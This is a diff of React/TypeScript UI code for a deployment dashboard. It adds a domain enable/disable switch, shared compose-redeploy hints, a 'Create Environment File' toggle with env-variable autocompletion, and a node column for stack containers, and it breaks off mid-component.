onCheckedChange={() => handleToggleEnable(domain.domainId)}
|
||||||
|
disabled={isToggling}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>
|
||||||
|
{domain.enabled
|
||||||
|
? "Domain is active. Toggle to disable routing without deleting it."
|
||||||
|
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||||
|
</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
{
|
{
|
||||||
id: "actions",
|
id: "actions",
|
||||||
header: "Actions",
|
header: "Actions",
|
||||||
|
|||||||
@@ -46,6 +46,7 @@ import {
|
|||||||
TooltipTrigger,
|
TooltipTrigger,
|
||||||
} from "@/components/ui/tooltip";
|
} from "@/components/ui/tooltip";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
|
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
|
||||||
|
|
||||||
export type CacheType = "fetch" | "cache";
|
export type CacheType = "fetch" | "cache";
|
||||||
|
|
||||||
@@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
|
|||||||
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
|
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
|
||||||
})
|
})
|
||||||
.then(async () => {
|
.then(async () => {
|
||||||
toast.success(dictionary.success);
|
toast.success(
|
||||||
|
dictionary.success,
|
||||||
|
data.domainType === "compose"
|
||||||
|
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||||
|
: undefined,
|
||||||
|
);
|
||||||
|
|
||||||
if (data.domainType === "application") {
|
if (data.domainType === "application") {
|
||||||
await utils.domain.byApplicationId.invalidate({
|
await utils.domain.byApplicationId.invalidate({
|
||||||
@@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
|
|||||||
</DialogHeader>
|
</DialogHeader>
|
||||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||||
|
|
||||||
{type === "compose" && (
|
{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
|
||||||
<AlertBlock type="info" className="mb-4">
|
|
||||||
Whenever you make changes to domains, remember to redeploy your
|
|
||||||
compose to apply the changes.
|
|
||||||
</AlertBlock>
|
|
||||||
)}
|
|
||||||
|
|
||||||
<Form {...form}>
|
<Form {...form}>
|
||||||
<form
|
<form
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Domains attached to a compose service are rendered as docker labels and only
|
||||||
|
* take effect on the next deployment. These strings keep the "redeploy required"
|
||||||
|
* wording consistent across the add/edit dialog, the domains list and the
|
||||||
|
* toasts shown after create/update/delete/toggle operations.
|
||||||
|
*/
|
||||||
|
export const COMPOSE_REDEPLOY_HINT =
|
||||||
|
"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
|
||||||
|
|
||||||
|
export const COMPOSE_REDEPLOY_TOAST =
|
||||||
|
"Redeploy the compose to apply the changes.";
|
||||||
|
|
||||||
|
export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
|
||||||
|
<AlertBlock type="info" className={className}>
|
||||||
|
{COMPOSE_REDEPLOY_HINT}
|
||||||
|
</AlertBlock>
|
||||||
|
);
|
||||||
@@ -44,6 +44,7 @@ import {
|
|||||||
DropdownMenuTrigger,
|
DropdownMenuTrigger,
|
||||||
} from "@/components/ui/dropdown-menu";
|
} from "@/components/ui/dropdown-menu";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
import {
|
import {
|
||||||
Table,
|
Table,
|
||||||
TableBody,
|
TableBody,
|
||||||
@@ -58,11 +59,13 @@ import {
|
|||||||
TooltipProvider,
|
TooltipProvider,
|
||||||
TooltipTrigger,
|
TooltipTrigger,
|
||||||
} from "@/components/ui/tooltip";
|
} from "@/components/ui/tooltip";
|
||||||
|
import { cn } from "@/lib/utils";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
import { createColumns } from "./columns";
|
import { createColumns } from "./columns";
|
||||||
import { DnsHelperModal } from "./dns-helper-modal";
|
import { DnsHelperModal } from "./dns-helper-modal";
|
||||||
import { AddDomain } from "./handle-domain";
|
import { AddDomain } from "./handle-domain";
|
||||||
import { HandleForwardAuth } from "./handle-forward-auth";
|
import { HandleForwardAuth } from "./handle-forward-auth";
|
||||||
|
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
|
||||||
|
|
||||||
export type ValidationState = {
|
export type ValidationState = {
|
||||||
isLoading: boolean;
|
isLoading: boolean;
|
||||||
@@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
api.domain.validateDomain.useMutation();
|
api.domain.validateDomain.useMutation();
|
||||||
const { mutateAsync: deleteDomain, isPending: isRemoving } =
|
const { mutateAsync: deleteDomain, isPending: isRemoving } =
|
||||||
api.domain.delete.useMutation();
|
api.domain.delete.useMutation();
|
||||||
|
const { mutateAsync: toggleEnable, isPending: isToggling } =
|
||||||
|
api.domain.toggleEnable.useMutation();
|
||||||
|
|
||||||
|
const handleToggleEnable = async (domainId: string) => {
|
||||||
|
try {
|
||||||
|
const result = await toggleEnable({ domainId });
|
||||||
|
refetch();
|
||||||
|
toast.success(
|
||||||
|
result.enabled ? "Domain enabled" : "Domain disabled",
|
||||||
|
result.requiresRedeploy
|
||||||
|
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||||
|
: undefined,
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
toast.error("Error updating the domain");
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleDeleteDomain = async (domainId: string) => {
|
const handleDeleteDomain = async (domainId: string) => {
|
||||||
try {
|
try {
|
||||||
await deleteDomain({ domainId });
|
await deleteDomain({ domainId });
|
||||||
refetch();
|
refetch();
|
||||||
toast.success("Domain deleted successfully");
|
toast.success(
|
||||||
|
"Domain deleted successfully",
|
||||||
|
type === "compose"
|
||||||
|
? { description: COMPOSE_REDEPLOY_TOAST }
|
||||||
|
: undefined,
|
||||||
|
);
|
||||||
} catch {
|
} catch {
|
||||||
toast.error("Error deleting domain");
|
toast.error("Error deleting domain");
|
||||||
}
|
}
|
||||||
@@ -200,7 +225,9 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
validationStates,
|
validationStates,
|
||||||
handleValidateDomain,
|
handleValidateDomain,
|
||||||
handleDeleteDomain,
|
handleDeleteDomain,
|
||||||
|
handleToggleEnable,
|
||||||
isDeleting: isRemoving,
|
isDeleting: isRemoving,
|
||||||
|
isToggling,
|
||||||
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
|
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
|
||||||
canCreateDomain,
|
canCreateDomain,
|
||||||
canDeleteDomain,
|
canDeleteDomain,
|
||||||
@@ -265,6 +292,11 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
|
{type === "compose" && data && data.length > 0 && (
|
||||||
|
<div className="px-6 pb-4">
|
||||||
|
<ComposeRedeployAlert />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
<CardContent className="flex w-full flex-row gap-4">
|
<CardContent className="flex w-full flex-row gap-4">
|
||||||
{isLoadingDomains ? (
|
{isLoadingDomains ? (
|
||||||
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
|
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
|
||||||
@@ -413,7 +445,10 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Card
|
<Card
|
||||||
key={item.domainId}
|
key={item.domainId}
|
||||||
className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
|
className={cn(
|
||||||
|
"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
|
||||||
|
!item.enabled && "opacity-60",
|
||||||
|
)}
|
||||||
>
|
>
|
||||||
<CardContent className="p-6">
|
<CardContent className="p-6">
|
||||||
<div className="flex flex-col gap-4">
|
<div className="flex flex-col gap-4">
|
||||||
@@ -466,18 +501,7 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
description="Are you sure you want to delete this domain?"
|
description="Are you sure you want to delete this domain?"
|
||||||
type="destructive"
|
type="destructive"
|
||||||
onClick={async () => {
|
onClick={async () => {
|
||||||
await deleteDomain({
|
await handleDeleteDomain(item.domainId);
|
||||||
domainId: item.domainId,
|
|
||||||
})
|
|
||||||
.then((_data) => {
|
|
||||||
refetch();
|
|
||||||
toast.success(
|
|
||||||
"Domain deleted successfully",
|
|
||||||
);
|
|
||||||
})
|
|
||||||
.catch(() => {
|
|
||||||
toast.error("Error deleting domain");
|
|
||||||
});
|
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
@@ -492,15 +516,41 @@ export const ShowDomains = ({ id, type }: Props) => {
|
|||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="w-full break-all">
|
<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
|
||||||
<Link
|
<div className="w-full break-all">
|
||||||
className="flex items-center gap-2 text-base font-medium hover:underline"
|
<Link
|
||||||
target="_blank"
|
className="flex items-center gap-2 text-base font-medium hover:underline"
|
||||||
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
|
target="_blank"
|
||||||
>
|
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
|
||||||
{item.host}
|
>
|
||||||
<ExternalLink className="size-4 min-w-4" />
|
{item.host}
|
||||||
</Link>
|
<ExternalLink className="size-4 min-w-4" />
|
||||||
|
</Link>
|
||||||
|
</div>
|
||||||
|
{canCreateDomain && (
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<div className="flex items-center shrink-0">
|
||||||
|
<Switch
|
||||||
|
checked={item.enabled}
|
||||||
|
onCheckedChange={() =>
|
||||||
|
handleToggleEnable(item.domainId)
|
||||||
|
}
|
||||||
|
disabled={isToggling}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>
|
||||||
|
{item.enabled
|
||||||
|
? "Domain is active. Toggle to disable routing without deleting it."
|
||||||
|
: "Domain is disabled and not routed. Toggle to enable it again."}
|
||||||
|
</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Domain Details */}
|
{/* Domain Details */}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
|
|||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
import { CodeEditor } from "@/components/shared/code-editor";
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
Card,
|
Card,
|
||||||
@@ -16,16 +17,20 @@ import {
|
|||||||
import {
|
import {
|
||||||
Form,
|
Form,
|
||||||
FormControl,
|
FormControl,
|
||||||
|
FormDescription,
|
||||||
FormField,
|
FormField,
|
||||||
FormItem,
|
FormItem,
|
||||||
|
FormLabel,
|
||||||
FormMessage,
|
FormMessage,
|
||||||
} from "@/components/ui/form";
|
} from "@/components/ui/form";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
import { Toggle } from "@/components/ui/toggle";
|
import { Toggle } from "@/components/ui/toggle";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
import type { ServiceType } from "../advanced/show-resources";
|
import type { ServiceType } from "../advanced/show-resources";
|
||||||
|
|
||||||
const addEnvironmentSchema = z.object({
|
const addEnvironmentSchema = z.object({
|
||||||
environment: z.string(),
|
environment: z.string(),
|
||||||
|
createEnvFile: z.boolean(),
|
||||||
});
|
});
|
||||||
|
|
||||||
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
|
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
|
||||||
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
|||||||
? queryMap[type]()
|
? queryMap[type]()
|
||||||
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
|
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
|
||||||
const [isEnvVisible, setIsEnvVisible] = useState(true);
|
const [isEnvVisible, setIsEnvVisible] = useState(true);
|
||||||
|
const completionSource = useEnvCompletionSource({
|
||||||
|
projectEnv: data?.environment?.project?.env,
|
||||||
|
environmentEnv: data?.environment?.env,
|
||||||
|
projectId: data?.environment?.projectId,
|
||||||
|
environmentId: data?.environment?.environmentId,
|
||||||
|
});
|
||||||
|
|
||||||
const mutationMap = {
|
const mutationMap = {
|
||||||
compose: () => api.compose.saveEnvironment.useMutation(),
|
compose: () => api.compose.saveEnvironment.useMutation(),
|
||||||
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
|||||||
const form = useForm<EnvironmentSchema>({
|
const form = useForm<EnvironmentSchema>({
|
||||||
defaultValues: {
|
defaultValues: {
|
||||||
environment: "",
|
environment: "",
|
||||||
|
createEnvFile: true,
|
||||||
},
|
},
|
||||||
resolver: zodResolver(addEnvironmentSchema),
|
resolver: zodResolver(addEnvironmentSchema),
|
||||||
});
|
});
|
||||||
|
|
||||||
// Watch form value
|
// Watch form value
|
||||||
const currentEnvironment = form.watch("environment");
|
const currentEnvironment = form.watch("environment");
|
||||||
const hasChanges = currentEnvironment !== (data?.env || "");
|
const currentCreateEnvFile = form.watch("createEnvFile");
|
||||||
|
const composeData =
|
||||||
|
type === "compose"
|
||||||
|
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
|
||||||
|
: undefined;
|
||||||
|
|
||||||
|
const showCreateEnvFileToggle =
|
||||||
|
type === "compose" &&
|
||||||
|
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
|
||||||
|
const hasChanges =
|
||||||
|
currentEnvironment !== (data?.env || "") ||
|
||||||
|
(showCreateEnvFileToggle &&
|
||||||
|
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (data) {
|
if (data) {
|
||||||
form.reset({
|
form.reset({
|
||||||
environment: data.env || "",
|
environment: data.env || "",
|
||||||
|
createEnvFile: composeData?.createEnvFile ?? true,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}, [data, form]);
|
}, [data, form]);
|
||||||
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
|||||||
postgresId: id || "",
|
postgresId: id || "",
|
||||||
redisId: id || "",
|
redisId: id || "",
|
||||||
env: formData.environment,
|
env: formData.environment,
|
||||||
|
...(type === "compose" && {
|
||||||
|
createEnvFile: formData.createEnvFile,
|
||||||
|
}),
|
||||||
})
|
})
|
||||||
.then(async () => {
|
.then(async () => {
|
||||||
toast.success("Environments Added");
|
toast.success("Environments Added");
|
||||||
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
|||||||
const handleCancel = () => {
|
const handleCancel = () => {
|
||||||
form.reset({
|
form.reset({
|
||||||
environment: data?.env || "",
|
environment: data?.env || "",
|
||||||
|
createEnvFile: composeData?.createEnvFile ?? true,
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
|||||||
} as CSSProperties
|
} as CSSProperties
|
||||||
}
|
}
|
||||||
language="properties"
|
language="properties"
|
||||||
|
completionSource={completionSource}
|
||||||
disabled={isEnvVisible}
|
disabled={isEnvVisible}
|
||||||
className="font-mono"
|
className="font-mono"
|
||||||
wrapperClassName="compose-file-editor"
|
wrapperClassName="compose-file-editor"
|
||||||
@@ -190,6 +220,34 @@ PORT=3000
|
|||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
|
{showCreateEnvFileToggle && (
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="createEnvFile"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
|
||||||
|
<div className="space-y-0.5">
|
||||||
|
<FormLabel>Create Environment File</FormLabel>
|
||||||
|
<FormDescription>
|
||||||
|
When enabled, an .env file will be created in the same
|
||||||
|
directory as your compose file on every deploy.
|
||||||
|
Disable this to keep a repository-provided .env; the
|
||||||
|
variables above will then be ignored. Takes effect on
|
||||||
|
the next deploy.
|
||||||
|
</FormDescription>
|
||||||
|
</div>
|
||||||
|
<FormControl>
|
||||||
|
<Switch
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
disabled={!canWrite}
|
||||||
|
/>
|
||||||
|
</FormControl>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
{canWrite && (
|
{canWrite && (
|
||||||
<div className="flex flex-row justify-end gap-2">
|
<div className="flex flex-row justify-end gap-2">
|
||||||
{hasChanges && (
|
{hasChanges && (
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import { useEffect } from "react";
|
|||||||
import { useForm } from "react-hook-form";
|
import { useForm } from "react-hook-form";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
|
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Card } from "@/components/ui/card";
|
import { Card } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const completionSource = useEnvCompletionSource({
|
||||||
|
projectEnv: data?.environment?.project?.env,
|
||||||
|
environmentEnv: data?.environment?.env,
|
||||||
|
projectId: data?.environment?.projectId,
|
||||||
|
environmentId: data?.environment?.environmentId,
|
||||||
|
});
|
||||||
|
|
||||||
const form = useForm<EnvironmentSchema>({
|
const form = useForm<EnvironmentSchema>({
|
||||||
defaultValues: {
|
defaultValues: {
|
||||||
env: "",
|
env: "",
|
||||||
@@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
|||||||
</span>
|
</span>
|
||||||
}
|
}
|
||||||
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
|
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
|
||||||
|
completionSource={completionSource}
|
||||||
/>
|
/>
|
||||||
{data?.buildType === "dockerfile" && (
|
{data?.buildType === "dockerfile" && (
|
||||||
<Secrets
|
<Secrets
|
||||||
@@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
|||||||
</span>
|
</span>
|
||||||
}
|
}
|
||||||
placeholder="NPM_TOKEN=xyz"
|
placeholder="NPM_TOKEN=xyz"
|
||||||
|
completionSource={completionSource}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
{data?.buildType === "dockerfile" && (
|
{data?.buildType === "dockerfile" && (
|
||||||
@@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
|||||||
</span>
|
</span>
|
||||||
}
|
}
|
||||||
placeholder="NPM_TOKEN=xyz"
|
placeholder="NPM_TOKEN=xyz"
|
||||||
|
completionSource={completionSource}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
{data?.buildType === "dockerfile" && (
|
{data?.buildType === "dockerfile" && (
|
||||||
|
|||||||
+13
-5
@@ -50,6 +50,7 @@ interface Props {
|
|||||||
id: string;
|
id: string;
|
||||||
type: "application" | "compose";
|
type: "application" | "compose";
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
|
trigger?: React.ReactNode;
|
||||||
}
|
}
|
||||||
|
|
||||||
const RestoreBackupSchema = z.object({
|
const RestoreBackupSchema = z.object({
|
||||||
@@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({
|
|||||||
}),
|
}),
|
||||||
});
|
});
|
||||||
|
|
||||||
export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
export const RestoreVolumeBackups = ({
|
||||||
|
id,
|
||||||
|
type,
|
||||||
|
serverId,
|
||||||
|
trigger,
|
||||||
|
}: Props) => {
|
||||||
const [isOpen, setIsOpen] = useState(false);
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
const [search, setSearch] = useState("");
|
const [search, setSearch] = useState("");
|
||||||
const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
|
const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
|
||||||
@@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
|
|||||||
return (
|
return (
|
||||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||||
<DialogTrigger asChild>
|
<DialogTrigger asChild>
|
||||||
<Button variant="outline">
|
{trigger ?? (
|
||||||
<RotateCcw className="mr-2 size-4" />
|
<Button variant="outline">
|
||||||
Restore Volume Backup
|
<RotateCcw className="mr-2 size-4" />
|
||||||
</Button>
|
Restore Volume Backup
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
</DialogTrigger>
|
</DialogTrigger>
|
||||||
<DialogContent className="sm:max-w-lg">
|
<DialogContent className="sm:max-w-lg">
|
||||||
<DialogHeader>
|
<DialogHeader>
|
||||||
|
|||||||
@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
|
|||||||
<TableHead>Name</TableHead>
|
<TableHead>Name</TableHead>
|
||||||
<TableHead>State</TableHead>
|
<TableHead>State</TableHead>
|
||||||
<TableHead>Status</TableHead>
|
<TableHead>Status</TableHead>
|
||||||
|
{appType === "stack" && <TableHead>Node</TableHead>}
|
||||||
<TableHead>Container ID</TableHead>
|
<TableHead>Container ID</TableHead>
|
||||||
<TableHead className="text-right" />
|
<TableHead className="text-right" />
|
||||||
</TableRow>
|
</TableRow>
|
||||||
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
|
|||||||
<TableBody>
|
<TableBody>
|
||||||
{data.map((container) => (
|
{data.map((container) => (
|
||||||
<ContainerRow
|
<ContainerRow
|
||||||
key={container.containerId}
|
key={container.name}
|
||||||
container={container}
|
container={container}
|
||||||
|
appType={appType}
|
||||||
serverId={serverId}
|
serverId={serverId}
|
||||||
serviceId={serviceId}
|
serviceId={serviceId}
|
||||||
onActionComplete={() => refetch()}
|
onActionComplete={() => refetch()}
|
||||||
@@ -143,7 +145,9 @@ interface ContainerRowProps {
|
|||||||
name: string;
|
name: string;
|
||||||
state: string;
|
state: string;
|
||||||
status: string;
|
status: string;
|
||||||
|
node?: string;
|
||||||
};
|
};
|
||||||
|
appType: "stack" | "docker-compose";
|
||||||
serverId?: string;
|
serverId?: string;
|
||||||
serviceId?: string;
|
serviceId?: string;
|
||||||
onActionComplete: () => void;
|
onActionComplete: () => void;
|
||||||
@@ -151,6 +155,7 @@ interface ContainerRowProps {
|
|||||||
|
|
||||||
const ContainerRow = ({
|
const ContainerRow = ({
|
||||||
container,
|
container,
|
||||||
|
appType,
|
||||||
serverId,
|
serverId,
|
||||||
serviceId,
|
serviceId,
|
||||||
onActionComplete,
|
onActionComplete,
|
||||||
@@ -192,7 +197,13 @@ const ContainerRow = ({
|
|||||||
variant={
|
variant={
|
||||||
container.state === "running"
|
container.state === "running"
|
||||||
? "default"
|
? "default"
|
||||||
: container.state === "exited"
|
: [
|
||||||
|
"exited",
|
||||||
|
"pending",
|
||||||
|
"preparing",
|
||||||
|
"starting",
|
||||||
|
"ready",
|
||||||
|
].includes(container.state)
|
||||||
? "secondary"
|
? "secondary"
|
||||||
: "destructive"
|
: "destructive"
|
||||||
}
|
}
|
||||||
@@ -201,96 +212,99 @@ const ContainerRow = ({
|
|||||||
</Badge>
|
</Badge>
|
||||||
</TableCell>
|
</TableCell>
|
||||||
<TableCell>{container.status}</TableCell>
|
<TableCell>{container.status}</TableCell>
|
||||||
|
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
|
||||||
<TableCell className="font-mono text-sm text-muted-foreground">
|
<TableCell className="font-mono text-sm text-muted-foreground">
|
||||||
{container.containerId}
|
{container.containerId || "-"}
|
||||||
</TableCell>
|
</TableCell>
|
||||||
<TableCell className="text-right">
|
<TableCell className="text-right">
|
||||||
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
{!container.containerId ? null : (
|
||||||
<DropdownMenu>
|
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
||||||
<DropdownMenuTrigger asChild>
|
<DropdownMenu>
|
||||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
<DropdownMenuTrigger asChild>
|
||||||
{actionLoading ? (
|
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||||
<Loader2 className="h-4 w-4 animate-spin" />
|
{actionLoading ? (
|
||||||
) : (
|
<Loader2 className="h-4 w-4 animate-spin" />
|
||||||
<MoreHorizontal className="h-4 w-4" />
|
) : (
|
||||||
)}
|
<MoreHorizontal className="h-4 w-4" />
|
||||||
</Button>
|
)}
|
||||||
</DropdownMenuTrigger>
|
</Button>
|
||||||
<DropdownMenuContent align="end">
|
</DropdownMenuTrigger>
|
||||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
<DropdownMenuContent align="end">
|
||||||
<DialogTrigger asChild>
|
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<DropdownMenuItem
|
||||||
|
className="cursor-pointer"
|
||||||
|
onSelect={(e) => e.preventDefault()}
|
||||||
|
>
|
||||||
|
View Logs
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DialogTrigger>
|
||||||
|
<ShowContainerConfig
|
||||||
|
containerId={container.containerId}
|
||||||
|
serverId={serverId || ""}
|
||||||
|
/>
|
||||||
|
<ShowContainerMounts
|
||||||
|
containerId={container.containerId}
|
||||||
|
serverId={serverId || ""}
|
||||||
|
/>
|
||||||
|
<ShowContainerNetworks
|
||||||
|
containerId={container.containerId}
|
||||||
|
serverId={serverId || ""}
|
||||||
|
/>
|
||||||
|
<DockerTerminalModal
|
||||||
|
containerId={container.containerId}
|
||||||
|
serverId={serverId || ""}
|
||||||
|
serviceId={serviceId}
|
||||||
|
>
|
||||||
|
Terminal
|
||||||
|
</DockerTerminalModal>
|
||||||
|
<DropdownMenuSeparator />
|
||||||
<DropdownMenuItem
|
<DropdownMenuItem
|
||||||
className="cursor-pointer"
|
className="cursor-pointer"
|
||||||
onSelect={(e) => e.preventDefault()}
|
disabled={actionLoading !== null}
|
||||||
|
onClick={() => handleAction("restart", restartMutation)}
|
||||||
>
|
>
|
||||||
View Logs
|
Restart
|
||||||
</DropdownMenuItem>
|
</DropdownMenuItem>
|
||||||
</DialogTrigger>
|
<DropdownMenuItem
|
||||||
<ShowContainerConfig
|
className="cursor-pointer"
|
||||||
containerId={container.containerId}
|
disabled={actionLoading !== null}
|
||||||
serverId={serverId || ""}
|
onClick={() => handleAction("start", startMutation)}
|
||||||
/>
|
>
|
||||||
<ShowContainerMounts
|
Start
|
||||||
containerId={container.containerId}
|
</DropdownMenuItem>
|
||||||
serverId={serverId || ""}
|
<DropdownMenuItem
|
||||||
/>
|
className="cursor-pointer"
|
||||||
<ShowContainerNetworks
|
disabled={actionLoading !== null}
|
||||||
containerId={container.containerId}
|
onClick={() => handleAction("stop", stopMutation)}
|
||||||
serverId={serverId || ""}
|
>
|
||||||
/>
|
Stop
|
||||||
<DockerTerminalModal
|
</DropdownMenuItem>
|
||||||
containerId={container.containerId}
|
<DropdownMenuItem
|
||||||
serverId={serverId || ""}
|
className="cursor-pointer text-red-500 focus:text-red-600"
|
||||||
serviceId={serviceId}
|
disabled={actionLoading !== null}
|
||||||
>
|
onClick={() => handleAction("kill", killMutation)}
|
||||||
Terminal
|
>
|
||||||
</DockerTerminalModal>
|
Kill
|
||||||
<DropdownMenuSeparator />
|
</DropdownMenuItem>
|
||||||
<DropdownMenuItem
|
</DropdownMenuContent>
|
||||||
className="cursor-pointer"
|
</DropdownMenu>
|
||||||
disabled={actionLoading !== null}
|
<DialogContent className="sm:max-w-7xl">
|
||||||
onClick={() => handleAction("restart", restartMutation)}
|
<DialogHeader>
|
||||||
>
|
<DialogTitle>View Logs</DialogTitle>
|
||||||
Restart
|
<DialogDescription>Logs for {container.name}</DialogDescription>
|
||||||
</DropdownMenuItem>
|
</DialogHeader>
|
||||||
<DropdownMenuItem
|
<div className="flex flex-col gap-4 pt-2.5">
|
||||||
className="cursor-pointer"
|
<DockerLogsId
|
||||||
disabled={actionLoading !== null}
|
